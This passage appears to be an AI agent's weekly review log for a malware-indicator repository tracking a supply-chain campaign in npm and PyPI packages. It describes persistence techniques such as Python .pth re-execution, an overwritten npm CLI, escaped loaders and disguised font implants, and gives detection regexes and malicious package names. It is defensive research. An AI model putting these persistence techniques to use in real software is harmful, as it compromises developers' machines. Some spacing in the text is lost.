python.7zand7zr.exe) andpipfrombootstrap.pypa.io, then runs a detached Python stager. The Deception.Pro capture shows the same thing from the other side: Python 3.14 installed machine-wide, clipboard and screen-capture dependencies pulled in. Every implant check in this repository looks for a Node binary or a Node process. A.pthfile — which is how thepybitjspackage re-executes on every Python interpreter start — is a persistence mechanism with no coverage here at all, and it is quieter than anything on the Node side. - A cross-ecosystem manifest check. Two of this week’s names are PyPI
packages and one earlier compromise is a Packagist branch.
bad-packages.txtis a flat list of names with no ecosystem column, which is adequate forgrep -Fand inadequate for the whole-name check that gaps 1 and 3 of the standing list both need.
Open gaps
Section titled “Open gaps”The July 2026 ecosystem expansion. Carried forward for the fourth week, and
narrowed rather than closed. socket.dev returned 403 again on both the
tracker and the blog, so the authoritative 108-package list is still unreachable.
thehackernews.com is now reachable and was read in full: it confirms the
shape — 162 release artifacts, 108 unique packages, 19 npm, 10 Composer, 61 Go
modules, one Chrome extension — and names none of them. The one Chrome extension
is still unnamed in every reachable source. What did improve is adjacent rather
than identical: the OpenSSF database yielded 55 names tied to this campaign’s own
indicators, which is the first substantial package coverage this set has had.
Closing the original gap still needs socket.dev, or Socket’s data mirrored
somewhere that is not socket.dev.
sass-format, typeorm-encrypt and clsx-tailwind — now eight names, with
this week’s five. Unchanged in substance: known-malicious, deliberately
unmatched, each a strict substring of a live legitimate package. What changed is
that the check is no longer a judgement call — registry.npmjs.org and
pypi.org are reachable, so a future reviewer can establish the hazard instead
of suspecting it. Still needs a whole-name check against a parsed manifest.
The npm CLI persistence has no coverage. Unchanged, and no longer clearly the
highest-value open item — the \u-escape problem (technique 2) is arguably
ahead of it now. npm/lib/cli.js overwritten with a ~1 MB malicious CLI defeats
the documented cleanup sequence, and nothing here detects it. Blocked on nobody.
hashes.txt cannot hold a small-file hash. Carried forward from 2026-09-21,
now with fifteen published examples turned away rather than five. The file’s
header promises “any file matching one of these is the implant, whatever it has
been renamed to”, and the code delivers that only for files between 10 MB and
300 MB or sitting on an implant-paths.txt path.
No blob-ID tier. Carried forward from 2026-09-21, unchanged.
The font-vector indicators are one variant behind — narrowed, not closed.
Carried forward from 2026-09-28. (^|/)fa-solid-[0-9]{3}\.llf$ is added this
week and is the first entry that matches a variant currently in circulation, so
the vector is no longer covered only by a 400-specific command string. What is
still open is the larger half: the three .woff2 weights, which are live and
which cannot go in an INFECTED-tier filename list because fa-solid-900.woff2
is a real Font Awesome name. Those need the weak path tier, or the regex content
tier for the task command (node .*fa-solid-[0-9]{3}\.woff2). Until then a
.woff2 variant is caught by the font-magic-bytes check alone, and only in
ci/scan-workspace.sh.
No weak tier for filenames. Carried forward from 2026-09-28, blocked three
additions again this week (~/.node_modules, /tmp/.pip, clr_init.vbs).
New gap: nothing in this repository matches a \u-escaped payload. Stated
as technique 2 above and repeated here because it is a gap in what the set can
do, not just a change the campaign made. An entire loader family — 18 of the 35
repositories SafeDep confirmed — is written so that grep -F against ioc/
finds nothing in it.
New gap: no Python-side coverage. Technique 7. Two PyPI package names are now
in bad-packages.txt, which is a start and is not detection: nothing here looks
for a .pth file, a ~/.local/bin/py, or a detached python -c process.
- The sandbox can reach the package registries, and no previous entry knew it.
registry.npmjs.org,pypi.org/pypi/<name>/jsonand the fullpypi.org/simple/index (46 MB uncompressed) all serve content here. That turns the substring check that has blocked eight package names into a mechanical test, and it is how this week’s five rejections were established rather than guessed. It also means npm dist-tags can be read directly, which is how the two corrected version ranges were confirmed. Worth re-verifying, like everything else in that table. safedep.ioandblog.deception.proare reachable too. Neither appears in the standing appendix in either direction.safedep.ioneedscurl -L: the un-slashed URL returns 308 and a bare fetch gets an empty body. Its article pages embed the indicator CSV verbatim in adata-csvattribute on the download button, which is a better source than the rendered table — it is where the XOR-key boundary was settled byte for byte, with no column alignment to guess at.medium.comreturns 403. New entry for the blocked list. It cost this review the SlowMist report.- Two self-tests that have failed here for four weeks now pass.
ci/selftest-restore.shandci/selftest-rewrite.shboth pass in this container, on this branch and in a worktree of unmodifiedorigin/main. The standing appendix lists them as failing for want of git behaviour the sandbox does not provide; whatever that was, it is provided now.selftest-ui.shstill fails, identically on both, on the same single assertion — “the wordmark is 207 columns wide”, 59 passed, 1 failed. That one is a terminal width, not a defect. shellcheckis still not installed.bash -npasses on every script. This change touchesioc/*.txtand Markdown only, with no shell code changed, so CI’s shellcheck gate is unaffected — but a future review making a code change still cannot validate it here.- The classification inconsistency the 2026-09-21 entry raised — TRON and Aptos
endpoints in both
weak.txtandnetwork.txt, the Ethereum ones inweak.txtonly — is unresolved and untouched. This week adds eight addresses tonetwork.txtand nothing to the endpoint lists, so it neither improves nor worsens. - The OpenSSF clone is ~2.1 GB checked out. It was deleted immediately after the
search, and the 55 records’ contents kept as a 144 KB JSON extract. A future
reviewer wanting to repeat this should expect the disk cost and should not use
--filter=blob:none, which makes the subsequent checkout fetch blobs one request at a time and never finishes. - One source contained an error worth recording. The OpenSSF record for
tailwind-anim(MAL-2026-11500, Amazon Inspector) prints the operator wallet as0xa322e5f3d311d3080e6f01210463e9adc2490ef1a— 41 hex characters, one too many, and not the address. The record’s own etherscan reference gives the correct form. Nothing was lifted from the mistyped string; noted because it is exactly the sort of thing that becomes an indicator that silently never matches. - No page, repository or document read during this review attempted to give the reviewer instructions. The Deception.Pro and OpenSourceMalware posts both carry recommendations addressed to developers, and the OpenSSF records carry the standard “treat the computer as fully compromised” advisory text; all of that is ordinary editorial content directed at readers, not at an agent, and none of it asked for anything outside this review’s scope.
- The commits on this branch are unverified, for the reason the standing
appendix documents: the container’s signing key is registered to Claude, and
authoring as the maintainer — which is correct — yields
unknown_key. Squash-merge resolves it; GitHub signs the squash commit itself.